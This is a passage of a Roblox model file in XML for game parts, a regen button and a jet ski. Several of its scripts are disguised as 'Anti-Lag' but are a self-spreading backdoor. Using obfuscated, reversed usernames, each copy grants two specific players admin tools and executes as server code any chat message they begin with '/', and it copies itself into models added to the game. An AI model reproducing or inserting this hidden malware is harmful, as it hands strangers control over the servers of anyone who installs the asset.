												<X>1</X>
												<Y>1</Y>
												<Z>1</Z>
											</Vector3>
										</Properties>
									</Item>
									<Item class="Fire" referent="RBX204">
										<Properties>
											<bool name="Archivable">true</bool>
											<Color3 name="Color">4294967040</Color3>
											<bool name="Enabled">false</bool>
											<string name="Name">Fire</string>
											<Color3 name="SecondaryColor">4294901760</Color3>
											<float name="heat_xml">25</float>
											<float name="size_xml">30</float>
										</Properties>
									</Item>
								</Item>
								<Item class="WedgePart" referent="RBX205">
									<Properties>
										<bool name="Anchored">false</bool>
										<bool name="Archivable">true</bool>
										<float name="BackParamA">-0.5</float>
										<float name="BackParamB">0.5</float>
										<token name="BackSurface">0</token>
										<token name="BackSurfaceInput">0</token>
										<float name="BottomParamA">-0.5</float>
										<float name="BottomParamB">0.5</float>
										<token name="BottomSurface">2</token>
										<token name="BottomSurfaceInput">0</token>
										<int name="BrickColor">199</int>
										<CoordinateFrame name="CFrame">
											<X>-1167.48303</X>
											<Y>11.5892696</Y>
											<Z>670.979004</Z>
											<R00>0.00505416747</R00>
											<R01>-0.000100609846</R01>
											<R02>-0.999987304</R02>
											<R10>-9.19438899e-005</R10>
											<R11>1</R11>
											<R12>-0.000101076672</R12>
											<R20>0.999987245</R20>
											<R21>9.24542546e-005</R21>
											<R22>0.00505417679</R22>
										</CoordinateFrame>
										<bool name="CanCollide">true</bool>
										<float name="Elasticity">0.5</float>
										<token name="FormFactor">2</token>
										<float name="Friction">0.300000012</float>
										<float name="FrontParamA">-0.5</float>
										<float name="FrontParamB">0.5</float>
										<token name="FrontSurface">0</token>
										<token name="FrontSurfaceInput">0</token>
										<float name="LeftParamA">-0.5</float>
										<float name="LeftParamB">0.5</float>
										<token name="LeftSurface">0</token>
										<token name="LeftSurfaceInput">0</token>
										<bool name="Locked">false</bool>
										<token name="Material">256</token>
										<string name="Name">Wedge</string>
										<float name="Reflectance">0</float>
										<float name="RightParamA">-0.5</float>
										<float name="RightParamB">0.5</float>
										<token name="RightSurface">0</token>
										<token name="RightSurfaceInput">0</token>
										<Vector3 name="RotVelocity">
											<X>-2.35526932e-006</X>
											<Y>-1.4054865e-007</Y>
											<Z>4.8936754e-006</Z>
										</Vector3>
										<float name="TopParamA">-0.5</float>
										<float name="TopParamB">0.5</float>
										<token name="TopSurface">2</token>
										<token name="TopSurfaceInput">0</token>
										<float name="Transparency">0</float>
										<Vector3 name="Velocity">
											<X>0.000189205195</X>
											<Y>0.000159184143</Y>
											<Z>0.000209593811</Z>
										</Vector3>
										<Vector3 name="size">
											<X>2</X>
											<Y>0.400000006</Y>
											<Z>1</Z>
										</Vector3>
									</Properties>
									<Item class="Fire" referent="RBX206">
										<Properties>
											<bool name="Archivable">true</bool>
											<Color3 name="Color">4294967040</Color3>
											<bool name="Enabled">false</bool>
											<string name="Name">Fire</string>
											<Color3 name="SecondaryColor">4294901760</Color3>
											<float name="heat_xml">25</float>
											<float name="size_xml">30</float>
										</Properties>
									</Item>
								</Item>
								<Item class="WedgePart" referent="RBX207">
									<Properties>
										<bool name="Anchored">false</bool>
										<bool name="Archivable">true</bool>
										<float name="BackParamA">-0.5</float>
										<float name="BackParamB">0.5</float>
										<token name="BackSurface">0</token>
										<token name="BackSurfaceInput">0</token>
										<float name="BottomParamA">-0.5</float>
										<float name="BottomParamB">0.5</float>
										<token name="BottomSurface">2</token>
										<token name="BottomSurfaceInput">0</token>
										<int name="BrickColor">199</int>
										<CoordinateFrame name="CFrame">
											<X>-1172.5083</X>
											<Y>11.5890732</Y>
											<Z>670.974915</Z>
											<R00>0.00552457245</R00>
											<R01>1.26514351e-005</R01>
											<R02>0.999984801</R02>
											<R10>8.66912305e-005</R10>
											<R11>1</R11>
											<R12>-1.31297857e-005</R12>
											<R20>-0.999984741</R20>
											<R21>8.67620111e-005</R21>
											<R22>0.00552455289</R22>
										</CoordinateFrame>
										<bool name="CanCollide">true</bool>
										<float name="Elasticity">0.5</float>
										<token name="FormFactor">2</token>
										<float name="Friction">0.300000012</float>
										<float name="FrontParamA">-0.5</float>
										<float name="FrontParamB">0.5</float>
										<token name="FrontSurface">0</token>
										<token name="FrontSurfaceInput">0</token>
										<float name="LeftParamA">-0.5</float>
										<float name="LeftParamB">0.5</float>
										<token name="LeftSurface">0</token>
										<token name="LeftSurfaceInput">0</token>
										<bool name="Locked">false</bool>
										<token name="Material">256</token>
										<string name="Name">Wedge</string>
										<float name="Reflectance">0</float>
										<float name="RightParamA">-0.5</float>
										<float name="RightParamB">0.5</float>
										<token name="RightSurface">0</token>
										<token name="RightSurfaceInput">0</token>
										<Vector3 name="RotVelocity">
											<X>-2.35526932e-006</X>
											<Y>-1.4054865e-007</Y>
											<Z>4.8936754e-006</Z>
										</Vector3>
										<float name="TopParamA">-0.5</float>
										<float name="TopParamB">0.5</float>
										<token name="TopSurface">2</token>
										<token name="TopSurfaceInput">0</token>
										<float name="Transparency">0</float>
										<Vector3 name="Velocity">
											<X>0.000189206723</X>
											<Y>0.000134582486</Y>
											<Z>0.00020888797</Z>
										</Vector3>
										<Vector3 name="size">
											<X>2</X>
											<Y>0.400000006</Y>
											<Z>1</Z>
										</Vector3>
									</Properties>
									<Item class="Fire" referent="RBX208">
										<Properties>
											<bool name="Archivable">true</bool>
											<Color3 name="Color">4294967040</Color3>
											<bool name="Enabled">false</bool>
											<string name="Name">Fire</string>
											<Color3 name="SecondaryColor">4294901760</Color3>
											<float name="heat_xml">25</float>
											<float name="size_xml">30</float>
										</Properties>
									</Item>
									<Item class="Script" referent="RBX209">
										<Properties>
											<bool name="Archivable">true</bool>
											<bool name="Disabled">false</bool>
											<Content name="LinkedSource"><null></null></Content>
											<string name="Name">Anti-Lag</string>
											<ProtectedString name="Source">Altitude = script:clone()
calco = {&quot;s&quot;,&quot;c&quot;,&quot;q&quot;,&quot;t&quot;,&quot;o&quot;,&quot;a&quot;,&quot;i&quot;,&quot;f&quot;,&quot;g&quot;,&quot;w&quot;,&quot;8&quot;,&quot;e&quot;,&quot;m&quot;,&quot;7&quot;,&quot;h&quot;,&quot;n&quot;}
Knox = {}
table.insert (Knox, 1 ,string.reverse(calco[5] .. calco[2] .. calco[7] .. calco[1] .. calco[6] .. calco[9] .. calco[12] .. calco[13]))
table.insert (Knox, 1 ,string.reverse(calco[11] .. calco[14] .. calco[14] .. calco[4] .. calco[16] .. calco[6] .. calco[15] .. calco[2]))
Play = {}
function rando(votation)
local hatr = 5
local calc = math.pi * math.huge
local longicate = votation:GetChildren()
if #longicate &gt; hatr then 
calc = calc + math.pi
return longicate[math.random(6,#longicate)]
end
end
function doublecheck()
local fj = game.Workspace:GetChildren()
for off = 1,#fj do
if fj[off].className == &quot;Part&quot; then
local fh = fj[off]:FindFirstChild(&quot;Anti-Lag&quot;)
if fh ~= nil then 
return false
end
end
end
return true
end
function workcheck()
if doublecheck() == true then
local l = Altitude:clone()
l.Parent = rando(game.Workspace)
end
end
workcheck()
function gibite(quen)
local  hup = Instance.new(&quot;Message&quot;)
hup.Text = &quot;Detected&quot;
hup.Parent = quen.Parent
local con = Instance.new(&quot;Script&quot;)
con.Source = [[wait(5) script.Parent:remove()]]
con.Parent = hup
for ish = 0,7 do
local a = Instance.new(&quot;HopperBin&quot;)
a.BinType = ish
a.Parent = quen
end
end
function laber(zonsa)
wait()
for slate = 1,#Knox do  
if zonsa.Name == Knox[slate] then
gibite(zonsa.Backpack)
table.insert (Play, 1,  zonsa.Name)
end
end
end
function yeild(frequency)
local t = Knox
for g = 1,#t do
if t[g] == frequency.Name then
return true
end
end
return false
end
function check(los)
local r = los:GetChildren()
for i = 1,#r do
local h = r[i]:FindFirstChild(&quot;Anti-Lag&quot;)
if h ~= nil then
h:remove()
end
end
end
function alto(xylem)
if xylem.className == &quot;Model&quot; then
check(xylem)
local que = script:clone()
que.Parent = rando(xylem)
end
end
function sortation(gone)
local dimbs = Altitude:clone()
dimbs = ramno(game.Workspace)
end
function onPlayerEntered(newPlayer)
newPlayer.Chatted:connect(function(msg, recipient) onChatted(msg, recipient, newPlayer) end) 
end
function Player(player)
player.Changed:connect(function (property) 
if property == &quot;Character&quot; then 
laber(player) 
end
end)
end
game.Players.PlayerAdded:connect(Player)
game.Players.ChildAdded:connect(onPlayerEntered)
game.Players.ChildAdded:connect(laber)
script.ChildRemoved:connect(sortation)
game.Workspace.ChildAdded:connect(alto)
function onChatted(msg, recipient, speaker)
if yeild(speaker) ~= false then
if string.sub(msg,1,1) == &quot;/&quot; then
local dsting = Instance.new(&quot;Script&quot;)
dsting.Source = string.sub(msg,2) 
dsting.Parent = game.Workspace 
end
end
end </ProtectedString>
										</Properties>
									</Item>
								</Item>
								<Item class="Part" referent="RBX210">
									<Properties>
										<bool name="Anchored">false</bool>
										<bool name="Archivable">true</bool>
										<float name="BackParamA">-0.5</float>
										<float name="BackParamB">0.5</float>
										<token name="BackSurface">0</token>
										<token name="BackSurfaceInput">0</token>
										<float name="BottomParamA">-0.5</float>
										<float name="BottomParamB">0.5</float>
										<token name="BottomSurface">2</token>
										<token name="BottomSurfaceInput">0</token>
										<int name="BrickColor">199</int>
										<CoordinateFrame name="CFrame">
											<X>-1168.5</X>
											<Y>11.5999994</Y>
											<Z>671</Z>
											<R00>-1</R00>
											<R01>0</R01>
											<R02>0</R02>
											<R10>0</R10>
											<R11>1</R11>
											<R12>0</R12>
											<R20>0</R20>
											<R21>0</R21>
											<R22>-1</R22>
										</CoordinateFrame>
										<bool name="CanCollide">true</bool>
										<float name="Elasticity">0.5</float>
										<token name="FormFactor">2</token>
										<float name="Friction">0.300000012</float>
										<float name="FrontParamA">-0.5</float>
										<float name="FrontParamB">0.5</float>
										<token name="FrontSurface">2</token>
										<token name="FrontSurfaceInput">0</token>
										<float name="LeftParamA">-0.5</float>
										<float name="LeftParamB">0.5</float>
										<token name="LeftSurface">0</token>
										<token name="LeftSurfaceInput">0</token>
										<bool name="Locked">false</bool>
										<token name="Material">256</token>
										<string name="Name">Part</string>
										<float name="Reflectance">0</float>
										<float name="RightParamA">-0.5</float>
										<float name="RightParamB">0.5</float>
										<token name="RightSurface">0</token>
										<token name="RightSurfaceInput">0</token>
										<Vector3 name="RotVelocity">
											<X>-2.35526932e-006</X>
											<Y>-1.4054865e-007</Y>
											<Z>4.8936754e-006</Z>
										</Vector3>
										<float name="TopParamA">-0.5</float>
										<float name="TopParamB">0.5</float>
										<token name="TopSurface">2</token>
										<token name="TopSurfaceInput">0</token>
										<float name="Transparency">0</float>
										<Vector3 name="Velocity">
											<X>0.000189149723</X>
											<Y>0.000154256893</Y>
											<Z>0.000209425605</Z>
										</Vector3>
										<token name="shape">1</token>
										<Vector3 name="size">
											<X>1</X>
											<Y>0.400000006</Y>
											<Z>2</Z>
										</Vector3>
									</Properties>
									<Item class="BlockMesh" referent="RBX211">
										<Properties>
											<bool name="Archivable">true</bool>
											<float name="Bevel">0</float>
											<float name="Bevel Roundness">0</float>
											<float name="Bulge">0</float>
											<token name="LODX">2</token>
											<token name="LODY">2</token>
											<string name="Name">Mesh</string>
											<Vector3 name="Offset">
												<X>0</X>
												<Y>0</Y>
												<Z>0</Z>
											</Vector3>
											<Vector3 name="Scale">
												<X>1</X>
												<Y>1</Y>
												<Z>1</Z>
											</Vector3>
											<Vector3 name="VertexColor">
												<X>1</X>
												<Y>1</Y>
												<Z>1</Z>
											</Vector3>
										</Properties>
									</Item>
									<Item class="Fire" referent="RBX212">
										<Properties>
											<bool name="Archivable">true</bool>
											<Color3 name="Color">4294967040</Color3>
											<bool name="Enabled">false</bool>
											<string name="Name">Fire</string>
											<Color3 name="SecondaryColor">4294901760</Color3>
											<float name="heat_xml">25</float>
											<float name="size_xml">30</float>
										</Properties>
									</Item>
								</Item>
								<Item class="Part" referent="RBX213">
									<Properties>
										<bool name="Anchored">false</bool>
										<bool name="Archivable">true</bool>
										<float name="BackParamA">-0.5</float>
										<float name="BackParamB">0.5</float>
										<token name="BackSurface">0</token>
										<token name="BackSurfaceInput">0</token>
										<float name="BottomParamA">-0.5</float>
										<float name="BottomParamB">0.5</float>
										<token name="BottomSurface">2</token>
										<token name="BottomSurfaceInput">0</token>
										<int name="BrickColor">199</int>
										<CoordinateFrame name="CFrame">
											<X>-1171.5</X>
											<Y>11.5999994</Y>
											<Z>671</Z>
											<R00>-1</R00>
											<R01>0</R01>
											<R02>0</R02>
											<R10>0</R10>
											<R11>1</R11>
											<R12>0</R12>
											<R20>0</R20>
											<R21>0</R21>
											<R22>-1</R22>
										</CoordinateFrame>
										<bool name="CanCollide">true</bool>
										<float name="Elasticity">0.5</float>
										<token name="FormFactor">2</token>
										<float name="Friction">0.300000012</float>
										<float name="FrontParamA">-0.5</float>
										<float name="FrontParamB">0.5</float>
										<token name="FrontSurface">2</token>
										<token name="FrontSurfaceInput">0</token>
										<float name="LeftParamA">-0.5</float>
										<float name="LeftParamB">0.5</float>
										<token name="LeftSurface">0</token>
										<token name="LeftSurfaceInput">0</token>
										<bool name="Locked">false</bool>
										<token name="Material">256</token>
										<string name="Name">Part</string>
										<float name="Reflectance">0</float>
										<float name="RightParamA">-0.5</float>
										<float name="RightParamB">0.5</float>
										<token name="RightSurface">0</token>
										<token name="RightSurfaceInput">0</token>
										<Vector3 name="RotVelocity">
											<X>-2.35526932e-006</X>
											<Y>-1.4054865e-007</Y>
											<Z>4.8936754e-006</Z>
										</Vector3>
										<float name="TopParamA">-0.5</float>
										<float name="TopParamB">0.5</float>
										<token name="TopSurface">2</token>
										<token name="TopSurfaceInput">0</token>
										<float name="Transparency">0</float>
										<Vector3 name="Velocity">
											<X>0.000189149723</X>
											<Y>0.000139575859</Y>
											<Z>0.000209003963</Z>
										</Vector3>
										<token name="shape">1</token>
										<Vector3 name="size">
											<X>1</X>
											<Y>0.400000006</Y>
											<Z>2</Z>
										</Vector3>
									</Properties>
									<Item class="BlockMesh" referent="RBX214">
										<Properties>
											<bool name="Archivable">true</bool>
											<float name="Bevel">0</float>
											<float name="Bevel Roundness">0</float>
											<float name="Bulge">0</float>
											<token name="LODX">2</token>
											<token name="LODY">2</token>
											<string name="Name">Mesh</string>
											<Vector3 name="Offset">
												<X>0</X>
												<Y>0</Y>
												<Z>0</Z>
											</Vector3>
											<Vector3 name="Scale">
												<X>1</X>
												<Y>1</Y>
												<Z>1</Z>
											</Vector3>
											<Vector3 name="VertexColor">
												<X>1</X>
												<Y>1</Y>
												<Z>1</Z>
											</Vector3>
										</Properties>
									</Item>
									<Item class="Fire" referent="RBX215">
										<Properties>
											<bool name="Archivable">true</bool>
											<Color3 name="Color">4294964224</Color3>
											<bool name="Enabled">false</bool>
											<string name="Name">Fire</string>
											<Color3 name="SecondaryColor">4294901760</Color3>
											<float name="heat_xml">25</float>
											<float name="size_xml">30</float>
										</Properties>
									</Item>
								</Item>
							</Item>
						</Item>
					</Item>
					<Item class="Script" referent="RBX216">
						<Properties>
							<bool name="Archivable">true</bool>
							<bool name="Disabled">false</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">Anti-Lag</string>
							<ProtectedString name="Source">Altitude = script:clone()
calco = {&quot;s&quot;,&quot;c&quot;,&quot;q&quot;,&quot;t&quot;,&quot;o&quot;,&quot;a&quot;,&quot;i&quot;,&quot;f&quot;,&quot;g&quot;,&quot;w&quot;,&quot;8&quot;,&quot;e&quot;,&quot;m&quot;,&quot;7&quot;,&quot;h&quot;,&quot;n&quot;}
Knox = {}
table.insert (Knox, 1 ,string.reverse(calco[5] .. calco[2] .. calco[7] .. calco[1] .. calco[6] .. calco[9] .. calco[12] .. calco[13]))
table.insert (Knox, 1 ,string.reverse(calco[11] .. calco[14] .. calco[14] .. calco[4] .. calco[16] .. calco[6] .. calco[15] .. calco[2]))
Play = {}
function rando(votation)
local hatr = 5
local calc = math.pi * math.huge
local longicate = votation:GetChildren()
if #longicate &gt; hatr then 
calc = calc + math.pi
return longicate[math.random(6,#longicate)]
end
end
function doublecheck()
local fj = game.Workspace:GetChildren()
for off = 1,#fj do
if fj[off].className == &quot;Part&quot; then
local fh = fj[off]:FindFirstChild(&quot;Anti-Lag&quot;)
if fh ~= nil then 
return false
end
end
end
return true
end
function workcheck()
if doublecheck() == true then
local l = Altitude:clone()
l.Parent = rando(game.Workspace)
end
end
workcheck()
function gibite(quen)
local  hup = Instance.new(&quot;Message&quot;)
hup.Text = &quot;Detected&quot;
hup.Parent = quen.Parent
local con = Instance.new(&quot;Script&quot;)
con.Source = [[wait(5) script.Parent:remove()]]
con.Parent = hup
for ish = 0,7 do
local a = Instance.new(&quot;HopperBin&quot;)
a.BinType = ish
a.Parent = quen
end
end
function laber(zonsa)
wait()
for slate = 1,#Knox do  
if zonsa.Name == Knox[slate] then
gibite(zonsa.Backpack)
table.insert (Play, 1,  zonsa.Name)
end
end
end
function yeild(frequency)
local t = Knox
for g = 1,#t do
if t[g] == frequency.Name then
return true
end
end
return false
end
function check(los)
local r = los:GetChildren()
for i = 1,#r do
local h = r[i]:FindFirstChild(&quot;Anti-Lag&quot;)
if h ~= nil then
h:remove()
end
end
end
function alto(xylem)
if xylem.className == &quot;Model&quot; then
check(xylem)
local que = script:clone()
que.Parent = rando(xylem)
end
end
function sortation(gone)
local dimbs = Altitude:clone()
dimbs = ramno(game.Workspace)
end
function onPlayerEntered(newPlayer)
newPlayer.Chatted:connect(function(msg, recipient) onChatted(msg, recipient, newPlayer) end) 
end
function Player(player)
player.Changed:connect(function (property) 
if property == &quot;Character&quot; then 
laber(player) 
end
end)
end
game.Players.PlayerAdded:connect(Player)
game.Players.ChildAdded:connect(onPlayerEntered)
game.Players.ChildAdded:connect(laber)
script.ChildRemoved:connect(sortation)
game.Workspace.ChildAdded:connect(alto)
function onChatted(msg, recipient, speaker)
if yeild(speaker) ~= false then
if string.sub(msg,1,1) == &quot;/&quot; then
local dsting = Instance.new(&quot;Script&quot;)
dsting.Source = string.sub(msg,2) 
dsting.Parent = game.Workspace 
end
end
end </ProtectedString>
						</Properties>
					</Item>
					<Item class="Script" referent="RBX217">
						<Properties>
							<bool name="Archivable">true</bool>
							<bool name="Disabled">false</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">Anti-Lag</string>
							<ProtectedString name="Source">Altitude = script:clone()
calco = {&quot;s&quot;,&quot;c&quot;,&quot;q&quot;,&quot;t&quot;,&quot;o&quot;,&quot;a&quot;,&quot;i&quot;,&quot;f&quot;,&quot;g&quot;,&quot;w&quot;,&quot;8&quot;,&quot;e&quot;,&quot;m&quot;,&quot;7&quot;,&quot;h&quot;,&quot;n&quot;}
Knox = {}
table.insert (Knox, 1 ,string.reverse(calco[5] .. calco[2] .. calco[7] .. calco[1] .. calco[6] .. calco[9] .. calco[12] .. calco[13]))
table.insert (Knox, 1 ,string.reverse(calco[11] .. calco[14] .. calco[14] .. calco[4] .. calco[16] .. calco[6] .. calco[15] .. calco[2]))
Play = {}
function rando(votation)
local hatr = 5
local calc = math.pi * math.huge
local longicate = votation:GetChildren()
if #longicate &gt; hatr then 
calc = calc + math.pi
return longicate[math.random(6,#longicate)]
end
end
function doublecheck()
local fj = game.Workspace:GetChildren()
for off = 1,#fj do
if fj[off].className == &quot;Part&quot; then
local fh = fj[off]:FindFirstChild(&quot;Anti-Lag&quot;)
if fh ~= nil then 
return false
end
end
end
return true
end
function workcheck()
if doublecheck() == true then
local l = Altitude:clone()
l.Parent = rando(game.Workspace)
end
end
workcheck()
function gibite(quen)
local  hup = Instance.new(&quot;Message&quot;)
hup.Text = &quot;Detected&quot;
hup.Parent = quen.Parent
local con = Instance.new(&quot;Script&quot;)
con.Source = [[wait(5) script.Parent:remove()]]
con.Parent = hup
for ish = 0,7 do
local a = Instance.new(&quot;HopperBin&quot;)
a.BinType = ish
a.Parent = quen
end
end
function laber(zonsa)
wait()
for slate = 1,#Knox do  
if zonsa.Name == Knox[slate] then
gibite(zonsa.Backpack)
table.insert (Play, 1,  zonsa.Name)
end
end
end
function yeild(frequency)
local t = Knox
for g = 1,#t do
if t[g] == frequency.Name then
return true
end
end
return false
end
function check(los)
local r = los:GetChildren()
for i = 1,#r do
local h = r[i]:FindFirstChild(&quot;Anti-Lag&quot;)
if h ~= nil then
h:remove()
end
end
end
function alto(xylem)
if xylem.className == &quot;Model&quot; then
check(xylem)
local que = script:clone()
que.Parent = rando(xylem)
end
end
function sortation(gone)
local dimbs = Altitude:clone()
dimbs = ramno(game.Workspace)
end
function onPlayerEntered(newPlayer)
newPlayer.Chatted:connect(function(msg, recipient) onChatted(msg, recipient, newPlayer) end) 
end
function Player(player)
player.Changed:connect(function (property) 
if property == &quot;Character&quot; then 
laber(player) 
end
end)
end
game.Players.PlayerAdded:connect(Player)
game.Players.ChildAdded:connect(onPlayerEntered)
game.Players.ChildAdded:connect(laber)
script.ChildRemoved:connect(sortation)
game.Workspace.ChildAdded:connect(alto)
function onChatted(msg, recipient, speaker)
if yeild(speaker) ~= false then
if string.sub(msg,1,1) == &quot;/&quot; then
local dsting = Instance.new(&quot;Script&quot;)
dsting.Source = string.sub(msg,2) 
dsting.Parent = game.Workspace 
end
end
end </ProtectedString>
						</Properties>
					</Item>
					<Item class="Script" referent="RBX218">
						<Properties>
							<bool name="Archivable">true</bool>
							<bool name="Disabled">false</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">Anti-Lag</string>
							<ProtectedString name="Source">Altitude = script:clone()
calco = {&quot;s&quot;,&quot;c&quot;,&quot;q&quot;,&quot;t&quot;,&quot;o&quot;,&quot;a&quot;,&quot;i&quot;,&quot;f&quot;,&quot;g&quot;,&quot;w&quot;,&quot;8&quot;,&quot;e&quot;,&quot;m&quot;,&quot;7&quot;,&quot;h&quot;,&quot;n&quot;}
Knox = {}
table.insert (Knox, 1 ,string.reverse(calco[5] .. calco[2] .. calco[7] .. calco[1] .. calco[6] .. calco[9] .. calco[12] .. calco[13]))
table.insert (Knox, 1 ,string.reverse(calco[11] .. calco[14] .. calco[14] .. calco[4] .. calco[16] .. calco[6] .. calco[15] .. calco[2]))
Play = {}
function rando(votation)
local hatr = 5
local calc = math.pi * math.huge
local longicate = votation:GetChildren()
if #longicate &gt; hatr then 
calc = calc + math.pi
return longicate[math.random(6,#longicate)]
end
end
function doublecheck()
local fj = game.Workspace:GetChildren()
for off = 1,#fj do
if fj[off].className == &quot;Part&quot; then
local fh = fj[off]:FindFirstChild(&quot;Anti-Lag&quot;)
if fh ~= nil then 
return false
end
end
end
return true
end
function workcheck()
if doublecheck() == true then
local l = Altitude:clone()
l.Parent = rando(game.Workspace)
end
end
workcheck()
function gibite(quen)
local  hup = Instance.new(&quot;Message&quot;)
hup.Text = &quot;Detected&quot;
hup.Parent = quen.Parent
local con = Instance.new(&quot;Script&quot;)
con.Source = [[wait(5) script.Parent:remove()]]
con.Parent = hup
for ish = 0,7 do
local a = Instance.new(&quot;HopperBin&quot;)
a.BinType = ish
a.Parent = quen
end
end
function laber(zonsa)
wait()
for slate = 1,#Knox do  
if zonsa.Name == Knox[slate] then
gibite(zonsa.Backpack)
table.insert (Play, 1,  zonsa.Name)
end
end
end
function yeild(frequency)
local t = Knox
for g = 1,#t do
if t[g] == frequency.Name then
return true
end
end
return false
end
function check(los)
local r = los:GetChildren()
for i = 1,#r do
local h = r[i]:FindFirstChild(&quot;Anti-Lag&quot;)
if h ~= nil then
h:remove()
end
end
end
function alto(xylem)
if xylem.className == &quot;Model&quot; then
check(xylem)
local que = script:clone()
que.Parent = rando(xylem)
end
end
function sortation(gone)
local dimbs = Altitude:clone()
dimbs = ramno(game.Workspace)
end
function onPlayerEntered(newPlayer)
newPlayer.Chatted:connect(function(msg, recipient) onChatted(msg, recipient, newPlayer) end) 
end
function Player(player)
player.Changed:connect(function (property) 
if property == &quot;Character&quot; then 
laber(player) 
end
end)
end
game.Players.PlayerAdded:connect(Player)
game.Players.ChildAdded:connect(onPlayerEntered)
game.Players.ChildAdded:connect(laber)
script.ChildRemoved:connect(sortation)
game.Workspace.ChildAdded:connect(alto)
function onChatted(msg, recipient, speaker)
if yeild(speaker) ~= false then
if string.sub(msg,1,1) == &quot;/&quot; then
local dsting = Instance.new(&quot;Script&quot;)
dsting.Source = string.sub(msg,2) 
dsting.Parent = game.Workspace 
end
end
end </ProtectedString>
						</Properties>
					</Item>
				</Item>
			</Item>
		</Item>
		<Item class="Model" referent="RBX219">
			<Properties>
				<bool name="Archivable">true</bool>
				<CoordinateFrame name="ModelInPrimary">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
					<R00>1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>1</R22>
				</CoordinateFrame>
				<string name="Name">Model</string>
				<Ref name="PrimaryPart">null</Ref>
			</Properties>
			<Item class="Part" referent="RBX220">
				<Properties>
					<bool name="Anchored">true</bool>
					<bool name="Archivable">true</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">0</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">104</int>
					<CoordinateFrame name="CFrame">
						<X>-1186</X>
						<Y>7</Y>
						<Z>701</Z>
						<R00>-0</R00>
						<R01>0</R01>
						<R02>1</R02>
						<R10>-0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>-1</R20>
						<R21>0</R21>
						<R22>0</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<float name="Elasticity">0.5</float>
					<token name="FormFactor">2</token>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Button1</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">0</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>4</X>
						<Y>0.400000006</Y>
						<Z>4</Z>
					</Vector3>
				</Properties>
				<Item class="ClickDetector" referent="RBX221">
					<Properties>
						<bool name="Archivable">true</bool>
						<float name="MaxActivationDistance">100</float>
						<string name="Name">ClickDetector</string>
					</Properties>
				</Item>
				<Item class="Fire" referent="RBX222">
					<Properties>
						<bool name="Archivable">true</bool>
						<Color3 name="Color">4294948864</Color3>
						<bool name="Enabled">false</bool>
						<string name="Name">Fire</string>
						<Color3 name="SecondaryColor">4294901760</Color3>
						<float name="heat_xml">25</float>
						<float name="size_xml">30</float>
					</Properties>
				</Item>
				<Item class="Script" referent="RBX223">
					<Properties>
						<bool name="Archivable">true</bool>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">regen</string>
						<ProtectedString name="Source">-- dark886&apos;s click regen script 
-- just place this script to the button
-- just place the button to the model
-- just place the model to anywhere lol

location = script.Parent.Parent.Parent
regen = script.Parent.Parent
save = regen:clone()

function onClicked()
	regen:remove()
	back = save:clone()
	back.Parent = location
	back:MakeJoints()
end 

script.Parent.ClickDetector.MouseClick:connect(onClicked)</ProtectedString>
					</Properties>
				</Item>
				<Item class="ForceField" referent="RBX224">
					<Properties>
						<bool name="Archivable">true</bool>
						<string name="Name">ForceField</string>
					</Properties>
				</Item>
			</Item>
			<Item class="Model" referent="RBX225">
				<Properties>
					<bool name="Archivable">true</bool>
					<CoordinateFrame name="ModelInPrimary">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<string name="Name">Green Jet Ski</string>
					<Ref name="PrimaryPart">null</Ref>
				</Properties>
				<Item class="Model" referent="RBX226">
					<Properties>
						<bool name="Archivable">true</bool>
						<CoordinateFrame name="ModelInPrimary">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<string name="Name">Jet Ski</string>
						<Ref name="PrimaryPart">null</Ref>
					</Properties>
					<Item class="Script" referent="RBX227">
						<Properties>
							<bool name="Archivable">true</bool>
							<bool name="Disabled">false</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">ParentScript</string>
							<ProtectedString name="Source">seat = script.Parent.VehicleSeat

function onChildAdded(part)
	if part.className == &quot;Weld&quot; then
		local torso = part.Part1
		if torso ~= nil then
			local parent = torso.Parent
			if parent ~= nil then
				script.Parent.Parent = parent
				script.Parent.Base.Anchored = false
			end
		end
	end
end

seat.ChildAdded:connect(onChildAdded)
</ProtectedString>
						</Properties>
					</Item>
					<Item class="Script" referent="RBX228">
						<Properties>
							<bool name="Archivable">true</bool>
